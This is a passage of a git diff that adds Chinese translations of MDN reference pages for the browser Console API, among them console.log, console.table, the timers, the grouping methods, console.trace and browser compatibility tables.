+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support6{{ CompatGeckoDesktop("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}5.1
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+

Gecko 备注

+

从Gecko 9.0 {{ geckoRelease("9.0") }}开始,Firefox自带的web控制台开始支持该方法, 但是该方法新建的分组不是折叠的,也就是说该方法的功能等同于 {{ domxref("console.group()") }}.

+

相关链接

+ +

{{ languages( { "en": "en/DOM/console.groupCollapsed" } ) }}

diff --git a/files/zh-cn/web/api/console/groupend/index.html b/files/zh-cn/web/api/console/groupend/index.html new file mode 100644 index 0000000000..a90ae09cf3 --- /dev/null +++ b/files/zh-cn/web/api/console/groupend/index.html @@ -0,0 +1,118 @@ +--- +title: Console.groupEnd() +slug: Web/API/Console/groupEnd +translation_of: Web/API/Console/groupEnd +--- +

{{APIRef("Console API")}}

+ +

Web控制台中退出一格缩进(结束分组). 请参阅 {{domxref("console")}} 中的Using groups in the console 来获取它的用法和示例.

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
console.groupEnd();
+
+ +

参数

+ +

None.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#groupend", "console.groupEnd()")}}{{Spec2("Console API")}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support2{{CompatVersionUnknown}}{{CompatGeckoDesktop("9.0")}}11{{CompatVersionUnknown}}4.0[1]
Available in workers{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("38.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("9.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Available in workers{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("38.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Implemented in http://trac.webkit.org/changeset/35421.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/console/index.html b/files/zh-cn/web/api/console/index.html new file mode 100644 index 0000000000..f66e3de417 --- /dev/null +++ b/files/zh-cn/web/api/console/index.html @@ -0,0 +1,303 @@ +--- +title: Console +slug: Web/API/Console +tags: + - API + - Debugging + - Interface + - Reference + - console + - web console +translation_of: Web/API/Console +--- +
{{APIRef("Console API")}}
+ +

Console 对象提供了浏览器控制台调试的接口(如:Firefox 的 Web Console)。在不同浏览器上它的工作方式可能不一样,但通常都会提供一套共性的功能。

+ +

Console 对象可以从任何全局对象中访问到,如 浏览器作用域上的 {{domxref("Window")}},以及通过属性控制台作为workers中的特定变体的 {{domxref("WorkerGlobalScope")}}。可以通过 {{domxref("Window.console")}} 引用,也可以简单的通过 console 引用。例:

+ +
console.log("Failed to open the specified link")
+ +

本页面记录了 Console 对象上的 {{anch("Methods")}}(方法)并给出了几个 {{anch("Usage")}} (用例)。

+ +

{{AvailableInWorkers}}

+ +
+

提示: 实际的 console 接口被定义为全小写的形式(比如不是这种形式 Console ),这是历史原因导致的。

+
+ +

方法

+ +
+
{{domxref("Console.assert()")}}
+
如果第一个参数为 false ,则将消息和堆栈跟踪记录到控制台。
+
{{domxref("Console.clear()")}}
+
清空控制台,并输出 Console was cleared
+
{{domxref("Console.count()")}}
+
以参数为标识记录调用的次数,调用时在控制台打印标识以及调用次数。
+
{{domxref("Console.countReset()")}}
+
重置指定标签的计数器值。
+
{{domxref("Console.debug()")}}
+
在控制台打印一条 "debug" 级别的消息。
+
{{domxref("Console.dir()")}}
+
显示一个由特定的 Javascript 对象列表组成的可交互列表。这个列表可以使用三角形隐藏和显示来审查子对象的内容。.
+
{{domxref("Console.dirxml()")}}
+
打印 XML/HTML 元素表示的指定对象,否则显示 JavaScript 对象视图。
+
{{domxref("Console.error()")}}
+
打印一条错误信息,使用方法可以参考 string substitution
+
{{domxref("Console.exception()")}} {{Non-standard_inline}} {{deprecated_inline}}
+
error() 方法的别称。
+
{{domxref("Console.group()")}}
+
创建一个新的内联 group, 后续所有打印内容将会以子层级的形式展示。调用 groupEnd()来闭合组。
+
{{domxref("Console.groupCollapsed()")}}
+
创建一个新的内联 group。使用方法和 group() 相同,不同的是,groupCollapsed() 方法打印出来的内容默认是折叠的。调用groupEnd()来闭合组。
+
{{domxref("Console.groupEnd()")}}
+
闭合当前内联 group
+
{{domxref("Console.info()")}}
+
打印资讯类说明信息,使用方法可以参考 string substitution
+
{{domxref("Console.log()")}}
+
打印内容的通用方法,使用方法可以参考 string substitution
+
{{domxref("Console.profile()")}} {{Non-standard_inline}}
+
Starts the browser's built-in profiler (for example, the Firefox performance tool). You can specify an optional name for the profile.
+
{{domxref("Console.profileEnd()")}} {{Non-standard_inline}}
+
Stops the profiler. You can see the resulting profile in the browser's performance tool (for example, the Firefox performance tool).
+
{{domxref("Console.table()")}}
+
将列表型的数据打印成表格。
+
{{domxref("Console.time()")}}
+
启动一个以入参作为特定名称的计时器,在显示页面中可同时运行的计时器上限为10,000.
+
{{domxref("Console.timeEnd()")}}
+
结束特定的 计时器 并以豪秒打印其从开始到结束所用的时间。
+
{{domxref("Console.timeLog()")}}
+
打印特定 计时器 所运行的时间。
+
{{domxref("Console.timeStamp()")}} {{Non-standard_inline}}
+
添加一个标记到浏览器的 Timeline 或 Waterfall 工具。
+
{{domxref("Console.trace()")}}
+
输出一个 stack trace
+
{{domxref("Console.warn()")}}
+
打印一个警告信息,可以使用 string substitution 和额外的参数。
+
+ +

用法

+ +

输出文本到控制台

+ +

console 对象中较多使用的主要有四个方法 {{domxref("console.log()")}}, {{domxref("console.info()")}}, {{domxref("console.warn()")}}, 和{{domxref("console.error()")}}。每一个结果在日志中都有不同的样式,可以使用浏览器控制台的日志筛选功能筛选出感兴趣的日志信息。

+ +

有两种途径使用这些方法,可以简单的传入一组对象,其中的字符串对象会被连接到一起,输出到控制台。或者可以传入包含零个或多个的替换的字符串,后面跟着被替换的对象列表。

+ +

打印单个对象

+ +

The simplest way to use the logging methods is to output a single object:

+ +
var someObject = { str: "Some text", id: 5 };
+console.log(someObject);
+
+ +

打印结果类似下面:

+ +
[09:27:13.475] ({str:"Some text", id:5})
+ +

打印多个对象

+ +

可以打印多个对象,就像下面一样:

+ +
var car = "Dodge Charger";
+var someObject = { str: "Some text", id: 5 };
+console.info("My first car was a", car, ". The object is:", someObject);
+ +

打印结果类似下面:

+ +
[09:28:22.711] My first car was a Dodge Charger . The object is: ({str:"Some text", id:5})
+ +

使用字符串替换

+ +

可以在传递给 console 的方法的时候使用下面的字符以期进行参数的替换。

+ + + + + + + + + + + + + + + + + + + + + + + + +
Substitution stringDescription
%o or %O打印 JavaScript 对象。在审阅器点击对象名字可展开更多对象的信息。
%d or %i打印整数。支持数字格式化。例如, console.log("Foo %.2d", 1.1) 会输出有先导 0 的两位有效数字: Foo 01
%s打印字符串。
%f打印浮点数。支持格式化,比如 console.log("Foo %.2f", 1.1) 会输出两位小数: Foo 1.10
+ +
+

注意:Chrome 不支持精确格式化。

+
+ +

当要替换的参数类型和预期的打印类型不同时,参数会被转换成预期的打印类型。

+ +
for (var i=0; i<5; i++) {
+  console.log("Hello, %s. You've called me %d times.", "Bob", i+1);
+}
+
+ +

输出样例如下所示:

+ +
[13:14:13.481] Hello, Bob. You've called me 1 times.
+[13:14:13.483] Hello, Bob. You've called me 2 times.
+[13:14:13.485] Hello, Bob. You've called me 3 times.
+[13:14:13.487] Hello, Bob. You've called me 4 times.
+[13:14:13.488] Hello, Bob. You've called me 5 times.
+
+ +

为控制台定义样式

+ +

可以使用 %c 为打印内容定义样式:

+ +
console.log("This is %cMy stylish message", "color: yellow; font-style: italic; background-color: blue;padding: 2px");
+ +
+ +
指令前的文本不会受到影响,但指令后的文本将会使用参数中声明的 CSS 样式。
+ +
+


+ %c 语法可用的属性如下 (至少在 Firefox 中是这样,别的浏览器会有诸多不同):

+ + + +

注意: 控制台信息的默认行为与行内元素相似。为了应用 paddingmargin 这类效果,你应当这样设置display: inline-block.。

+
+ +

在 console 中使用编组

+ +

可以使用嵌套组来把视觉上相关的元素合并,以协助组织你的输出。使用console.group()创建新的嵌套块,或者用console.groupCollapsed() 创建默认折叠的块,这种块需要点击闭合按钮来展开才能读到。

+ +

直接调用 console.groupEnd().就可以退出当前组。比如下面的代码:

+ +
console.log("This is the outer level");
+console.group();
+console.log("Level 2");
+console.group();
+console.log("Level 3");
+console.warn("More of level 3");
+console.groupEnd();
+console.log("Back to level 2");
+console.groupEnd();
+console.debug("Back to the outer level");
+
+ +

执行结果:

+ +

Demo of nested groups in Firefox console

+ +

定时器

+ +

你可以使用定时器来计算一段特定操作的周期。使用 console.time() 方法以创建一个计时器,其唯一的参数表示了计时器的名字。使用 console.timeEnd() 方法以关闭计时器,并获取经过的毫秒数,其同样以计时器的名字作为参数。一个页面最多同时只能有 10,000 个计数器运行。

+ +

示例::

+ +
console.time("answer time");
+alert("Click to continue");
+console.timeLog("answer time");
+alert("Do a bunch of other stuff...");
+console.timeEnd("answer time");
+
+ +

这段代码将会打印需要用户关闭 alert box 的时间, 打印时间到控制台上,等用户关闭第二个 alert 后,把结束时间打印到控制台。

+ +

timerresult.png

+ +

注意无论在开始还是结束的时候都会打印计时器的名字。

+ +
注意: 如果使用计时器来记录网络时间请求的话下面的内容很重要。计时器将会报告传输过程的整个时间,而网络面板里显示的时间只计算了请求头部所需要的时间。如果启用了响应体日志记录,那么列出的响应头部和响应体组合的时间应该与在控制台输出中看到的时间相符。
+ +

堆栈跟踪

+ +

控制台也支持输出堆栈,其将会显示到调用 {{domxref("console.trace()")}} 的点的调用路径。如下所示:

+ +
function foo() {
+  function bar() {
+    console.trace();
+  }
+  bar();
+}
+
+foo();
+
+ +

控制台的输出:

+ +

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Console API')}}{{Spec2('Console API')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Console")}}

+ +

注意

+ + + +

相关文档

+ + + +

其他实现

+ + diff --git a/files/zh-cn/web/api/console/info/index.html b/files/zh-cn/web/api/console/info/index.html new file mode 100644 index 0000000000..0b946b9719 --- /dev/null +++ b/files/zh-cn/web/api/console/info/index.html @@ -0,0 +1,155 @@ +--- +title: Console.info() +slug: Web/API/Console/info +translation_of: Web/API/Console/info +--- +
{{APIRef("Console API")}}
+ +

向web控制台输出一个通知信息。仅在Firefox,web控制台的日志中的项目旁边会显示一个小的‘I‘图标

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
console.info(obj1 [, obj2, ..., objN]);
+console.info(msg [, subst1, ..., substN]);
+
+ +

参数

+ +
+
obj1 ... objN
+
要输出的JavaScript对象列表。对象obj1,obj2,...列出顺序和输出顺序一致。
+
msg
+
JavaScript字符串。可包含零个或多个替换字符串。
+
subst1 ... substN
+
+ +

     用于替换msg内的替换字符串的JavaScript对象。 可以对输出的格式进行额外的控制。

+ +

查看更多细节可访问 {{domxref("console")}} 文件内的Outputting text to the console

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName("Console API", "#info", "console.info()")}}{{Spec2("Console API")}}初次定义
+ +

浏览器兼容

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
特性ChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
基础支持{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("2.0")}}8{{CompatVersionUnknown}}{{CompatVersionUnknown}}
替换字符串{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("9.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
信息标志{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}
在 Web Worker 中可用{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("38.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
特性AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基础支持{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("2.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
替换字符串{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("9.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
在 Web Worker 中可用{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("38.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/console/log/index.html b/files/zh-cn/web/api/console/log/index.html new file mode 100644 index 0000000000..5650dfe8bd --- /dev/null +++ b/files/zh-cn/web/api/console/log/index.html @@ -0,0 +1,124 @@ +--- +title: console.log +slug: Web/API/Console/log +translation_of: Web/API/Console/log +--- +

{{ ApiRef() }}

+ +

概述

+ +

向 Web 控制台输出一条消息。

+ +

语法

+ +
console.log(obj1 [, obj2, ..., objN]);
+console.log(msg [, subst1, ..., substN]);
+console.log('String: %s, Int: %d,Float: %f, Object: %o', str, ints, floats, obj)
+console.log(`temp的值为: ${temp}`)
+
+ +

参数

+ +
+
obj1 ... objN
+
一个用于输出的 JavaScript 对象列表。其中每个对象会以字符串的形式按照顺序依次输出到控制台。
+
msg
+
一个JavaScript字符串,其中包含零个或多个替代字符串。
+
subst1 ... substN
+
JavaScript 对象,用来依次替换msg中的替代字符串。你可以在替代字符串中指定对象的输出格式。
+
+ +

查看向控制台输出文本来了解更多{{ domxref("console") }}对象的用法。

+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
基本功能{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("2.0")}}8{{CompatVersionUnknown}}{{CompatVersionUnknown}}
替代字符串{{CompatVersionUnknown}}
+ {{CompatChrome(28)}}[1]
{{CompatVersionUnknown}}{{CompatGeckoDesktop("9.0")}}10[2]{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Available in workers{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("38.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基本功能{{ CompatUnknown() }}{{ CompatGeckoMobile("2.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
替代字符串{{ CompatUnknown() }}{{ CompatGeckoMobile("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

规范

+ +

不属于任何公开的规范

+ +

相关链接

+ + + +

{{ languages( {"en": "en/DOM/console.log" } ) }}

diff --git a/files/zh-cn/web/api/console/profile/index.html b/files/zh-cn/web/api/console/profile/index.html new file mode 100644 index 0000000000..fc611fe671 --- /dev/null +++ b/files/zh-cn/web/api/console/profile/index.html @@ -0,0 +1,114 @@ +--- +title: Console.profile() +slug: Web/API/Console/profile +tags: + - API + - DOM + - Web开发 + - web控制台 + - 参考 + - 描述信息 + - 方法 + - 调试 + - 非标准 +translation_of: Web/API/Console/profile +--- +

{{APIRef("Console API")}}{{Non-standard_header}}

+ +

开始记录性能描述信息(例如,  Firefox performance tool)。

+ +

你可以选择提供一个参数来命名描述信息,这将允许你在有多个描述信息被记录时来选择只停止那个描述信息(被你命名的那个)。请查阅{{domxref("Console.profileEnd()")}}来确认这个参数是如何被解释的。

+ +

要停止记录,请调用{{domxref("Console.profileEnd()")}}。

+ +

{{AvailableInWorkers}}

+ +

Syntax

+ +
console.profile(profileName);
+
+ +

Parameters

+ +
+
profileName
+
描述信息的名字。可选。
+
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
特性ChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
基本支持{{CompatChrome("53.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}
实际可用{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("38.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基本支持{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("10.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
实际可用{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("38.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/console/profileend/index.html b/files/zh-cn/web/api/console/profileend/index.html new file mode 100644 index 0000000000..6e1bb6ece9 --- /dev/null +++ b/files/zh-cn/web/api/console/profileend/index.html @@ -0,0 +1,46 @@ +--- +title: Console.profileEnd() +slug: Web/API/Console/profileEnd +translation_of: Web/API/Console/profileEnd +--- +

{{APIRef("Console API")}}{{Non-standard_header}}

+ +
+

在 console.profile() 之后立刻调用此API可能会导致其无法工作.。为解决此问题,请在setTimeOut中至少延迟5毫秒后再调用。 请看 bug #1173588

+
+ +

profileEnd方法会停止记录之前已经由{{domxref("Console.profile()")}}开始记录的性能描述信息

+ +

你可以选择提供一个参数来命名需要记录的描述信息。这使得你在记录多个描述信息的时候可以停止记录特定的描述信息。

+ + + +

{{AvailableInWorkers}}

+ +

语法

+ +
console.profileEnd(profileName);
+
+ +

参数

+ +
+
profileName
+
描述信息的名字。可选。
+
+ +

浏览器兼容性

+ + + +

{{Compat("api.Console.profileEnd")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/console/table/index.html b/files/zh-cn/web/api/console/table/index.html new file mode 100644 index 0000000000..85d5ba2822 --- /dev/null +++ b/files/zh-cn/web/api/console/table/index.html @@ -0,0 +1,151 @@ +--- +title: Console.table() +slug: Web/API/Console/table +tags: + - API + - Web 开发 + - 控制台 + - 方法 + - 调试 +translation_of: Web/API/Console/table +--- +
{{APIRef("Console API")}}
+ +

将数据以表格的形式显示。

+ +

这个方法需要一个必须参数 datadata 必须是一个数组或者是一个对象;还可以使用一个可选参数 columns

+ +

它会把数据 data 以表格的形式打印出来。数组中的每一个元素(或对象中可枚举的属性)将会以行的形式显示在表格中。

+ +

表格的第一列是 index。如果数据 data 是一个数组,那么这一列的单元格的值就是数组的索引。 如果数据是一个对象,那么它们的值就是各对象的属性名称。 注意(在 FireFox 中)console.table 被限制为只显示1000行(第一行是被标记的索引(原文:labeled index))。

+ +

{{AvailableInWorkers}}

+ +

打印单一参数类型

+ +

数据的参数类型可以是数组或是对象。

+ +
// 打印一个由字符串组成的数组
+
+console.table(["apples", "oranges", "bananas"]);
+ +

+ +
// 打印一个属性值是字符串的对象
+
+function Person(firstName, lastName) {
+  this.firstName = firstName;
+  this.lastName = lastName;
+}
+
+var me = new Person("John", "Smith");
+
+console.table(me);
+ +

+ +

打印复合的参数类型

+ +

如果需要打印的元素在一个数组中,或者需要打印的属性在一个对象,并且他们本身就是一个数组或者对象,则将会把这个元素显示在同一行,每个元素占一列:

+ +
// 二元数组的打印
+
+var people = [["John", "Smith"], ["Jane", "Doe"], ["Emily", "Jones"]]
+console.table(people);
+ +

Table displaying array of arrays

+ +
// 打印一个包含对象的数组
+
+function Person(firstName, lastName) {
+  this.firstName = firstName;
+  this.lastName = lastName;
+}
+
+var john = new Person("John", "Smith");
+var jane = new Person("Jane", "Doe");
+var emily = new Person("Emily", "Jones");
+
+console.table([john, jane, emily]);
+ +

请注意,如果数组包含对象,则列将使用属性名称进行标记。

+ +

结果显示,如果数组中包含该对象,打印出来的列标签将是该对象的属性名

+ +

Table displaying array of objects

+ +
// 打印属性名是对象的对象
+
+var family = {};
+
+family.mother = new Person("Jane", "Smith");
+family.father = new Person("John", "Smith");
+family.daughter = new Person("Emily", "Smith");
+
+console.table(family);
+ +

Table displaying object of objects

+ +

选择要隐藏的列

+ +

console.table() 会把所有元素罗列在每一列,你可以使用 columns 参数选择要显示的列的子集:

+ +
// 一个对象数组,只打印 firstName
+
+function Person(firstName, lastName) {
+  this.firstName = firstName;
+  this.lastName = lastName;
+}
+
+var john = new Person("John", "Smith");
+var jane = new Person("Jane", "Doe");
+var emily = new Person("Emily", "Jones");
+
+console.table([john, jane, emily], ["firstName"]);
+ +

Table displaying array of objects with filtered output

+ +

按列重新排序

+ +

你可以点击每列的顶部标签来重排输出的表格。

+ +

语法

+ +
console.table(data [, columns]);
+
+ +

参数

+ +
+
data
+
要显示的数据。必须是数组或对象。
+
columns
+
一个包含列的名称的数组。
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("Console API", "#table", "console.table()")}}{{Spec2("Console API")}}Initial definition
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.Console.table")}}

+
diff --git a/files/zh-cn/web/api/console/time/index.html b/files/zh-cn/web/api/console/time/index.html new file mode 100644 index 0000000000..0bb67dc2c9 --- /dev/null +++ b/files/zh-cn/web/api/console/time/index.html @@ -0,0 +1,55 @@ +--- +title: console.time +slug: Web/API/Console/time +translation_of: Web/API/Console/time +--- +

{{ ApiRef() }}

+ +

你可以启动一个计时器来跟踪某一个操作的占用时长。每一个计时器必须拥有唯一的名字,页面中最多能同时运行10,000个计时器。当以此计时器名字为参数调用 {{ domxref("console.timeEnd()") }} 时,浏览器将以毫秒为单位,输出对应计时器所经过的时间。

+ +

关于 Timers 的细节和例子请参考文档 {{ domxref("console") }} 。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
console.time(timerName);
+
+ +

参数

+ +
+
timerName
+
新计时器的名字。 用来标记这个计时器,作为参数调用 {{ domxref("console.timeEnd()") }}可以停止计时并将经过的时间在终端中打印出来.
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#time", "console.time()")}}{{Spec2("Console API")}}Initial definition
+ +

浏览器兼容性

+ +

{{Compat("api.Console.time")}}

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/console/timeend/index.html b/files/zh-cn/web/api/console/timeend/index.html new file mode 100644 index 0000000000..57a38b8079 --- /dev/null +++ b/files/zh-cn/web/api/console/timeend/index.html @@ -0,0 +1,61 @@ +--- +title: Console.timeEnd() +slug: Web/API/Console/timeEnd +translation_of: Web/API/Console/timeEnd +--- +
{{APIRef("Console API")}}{{Non-standard_header}}
+ +

概述

+ +

停止一个通过 console.time() 启动的计时器

+ +
+

注意:该方法在使用时不会将输出的时间返回到js,它只能用于控制台调试.请勿将该方法作为普通计时器或性能数据收集器的一部分.

+
+ +

有关详细信息和示例,请参阅 Timers

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
console.timeEnd(label);
+
+ +

参数

+ +
+
label
+
需要停止的计时器名字。一旦停止,计时器所经过的时间会被自动输出到控制台。
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#consoletimeendlabel", "console.timeEnd()")}}{{Spec2("Console API")}}Initial definition
+ +

浏览器兼容性

+ +
{{Compat("api.Console.timeEnd")}}
+ +
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/console/timelog/index.html b/files/zh-cn/web/api/console/timelog/index.html new file mode 100644 index 0000000000..9dc87c6071 --- /dev/null +++ b/files/zh-cn/web/api/console/timelog/index.html @@ -0,0 +1,102 @@ +--- +title: Console.timeLog() +slug: Web/API/Console/timeLog +tags: + - API + - DOM + - Debugging + - Method + - Web Development + - console + - web console +translation_of: Web/API/Console/timeLog +--- +
{{APIRef("Console API")}}
+ +
在控制台输出计时器的值,该计时器必须已经通过 {{domxref("console.time()")}} 启动。
+ +
+ +

参阅文档中的 Timers 部分获取详细说明和示例。 

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
console.timeLog(label);
+
+ +

参数

+ +
+
label
+
计时器索引。
+
+ +

返回值

+ +

如果没有传入 label 参数,则以 default: 作为引导返回数据:

+ +
default: 1042ms
+ +

如果传入了一个已经存在的 label ,则会以 label:  作为引导返回数据:

+ +
label: 1242ms
+ +

异常

+ +

如果计时器未启动, timeLog() 会返回一个警告:

+ +
Timer “default” doesn’t exist.
+ +

如果传入的 label 索引没有与之对应的计时器,则返回如下警告:

+ +
Timer “timer name” doesn’t exist. 
+ +

示例

+ +
console.time("answer time");
+alert("Click to continue");
+console.timeLog("answer time");
+alert("Do a bunch of other stuff...");
+console.timeEnd("answer time");
+
+ +

上例中的输出分别显示了用户从打开页面到关闭第一个 alert 和第二个 alert 框的时间间隔:

+ +

+ +

注意:使用 timelog() 输出计时器的值会显示计时器名称。使用 timeEnd() 停止也会显示计时器名称和输出计时器的值,并且,最后的 " - timer ended" 可以清楚的显示计时器不再计时的信息。

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName("Console API", "#timelog", "console.timeLog()")}}{{Spec2("Console API")}}Initial definition
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.Console.timeLog")}}

+
+ +

相关文档

+ + diff --git a/files/zh-cn/web/api/console/timestamp/index.html b/files/zh-cn/web/api/console/timestamp/index.html new file mode 100644 index 0000000000..ed92f19a27 --- /dev/null +++ b/files/zh-cn/web/api/console/timestamp/index.html @@ -0,0 +1,98 @@ +--- +title: Console.timeStamp() +slug: Web/API/Console/timeStamp +translation_of: Web/API/Console/timeStamp +--- +
{{APIRef("Console API")}}{{Non-standard_header}}
+ +

向浏览器的 Performance 或者 Waterfall 工具添加一个标记。这样可以让你将代码中的一个点和其他在时间轴上已记录的事件相关联,例如布局事件和绘制事件等。

+ +

你可以选择用一个参数来作为时间戳标签,然后标记旁边就会显示这个标签。

+ +

{{AvailableInWorkers}}

+ +

Syntax

+ +
console.timeStamp(label);
+
+ +

Parameters

+ +
+
label
+
Label for the timestamp. Optional.
+
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
{{CompatUnknown}} + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Available in workers{{CompatVersionUnknown}}{{CompatGeckoDesktop("38.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("10.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Available in workers{{CompatUnknown}}{{CompatGeckoMobile("38.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/console/trace/index.html b/files/zh-cn/web/api/console/trace/index.html new file mode 100644 index 0000000000..682eba535e --- /dev/null +++ b/files/zh-cn/web/api/console/trace/index.html @@ -0,0 +1,70 @@ +--- +title: console.trace +slug: Web/API/Console/trace +translation_of: Web/API/Console/trace +--- +

{{APIRef("Console API")}}

+ +

{{domxref("console")}} 的 trace() 方法向 Web控制台 输出一个堆栈跟踪。

+ +

{{AvailableInWorkers}}

+ +

在页面{{ domxref("console") }}文档中查看堆栈跟踪的详细介绍和示例。

+ +

语法

+ +
console.trace( [...any, ...data ]);
+ +

参数

+ +
+
...any, ...data {{optional_inline}}
+
Zero or more objects to be output to console along with the trace. These are assembled and formatted the same way they would be if passed to the {{domxref("console.log()")}} method.
+
+ +

Example

+ +
function foo() {
+  function bar() {
+    console.trace();
+  }
+  bar();
+}
+
+foo();
+
+ +

In the console, the following trace will be displayed:

+ +
bar
+foo
+<anonymous>
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#trace", "console.trace()")}}{{Spec2("Console API")}}Initial definition
+ +

浏览器兼容性

+ +

{{Compat("api.Console.trace")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/console/warn/index.html b/files/zh-cn/web/api/console/warn/index.html new file mode 100644 index 0000000000..c3ba21b2b0 --- /dev/null +++ b/files/zh-cn/web/api/console/warn/index.html @@ -0,0 +1,147 @@ +--- +title: Console.warn() +slug: Web/API/Console/warn +translation_of: Web/API/Console/warn +--- +
{{APIRef("Console API")}}
+ +

向 Web 控制台输出一条警告信息。

+ +

{{AvailableInWorkers}}

+ +

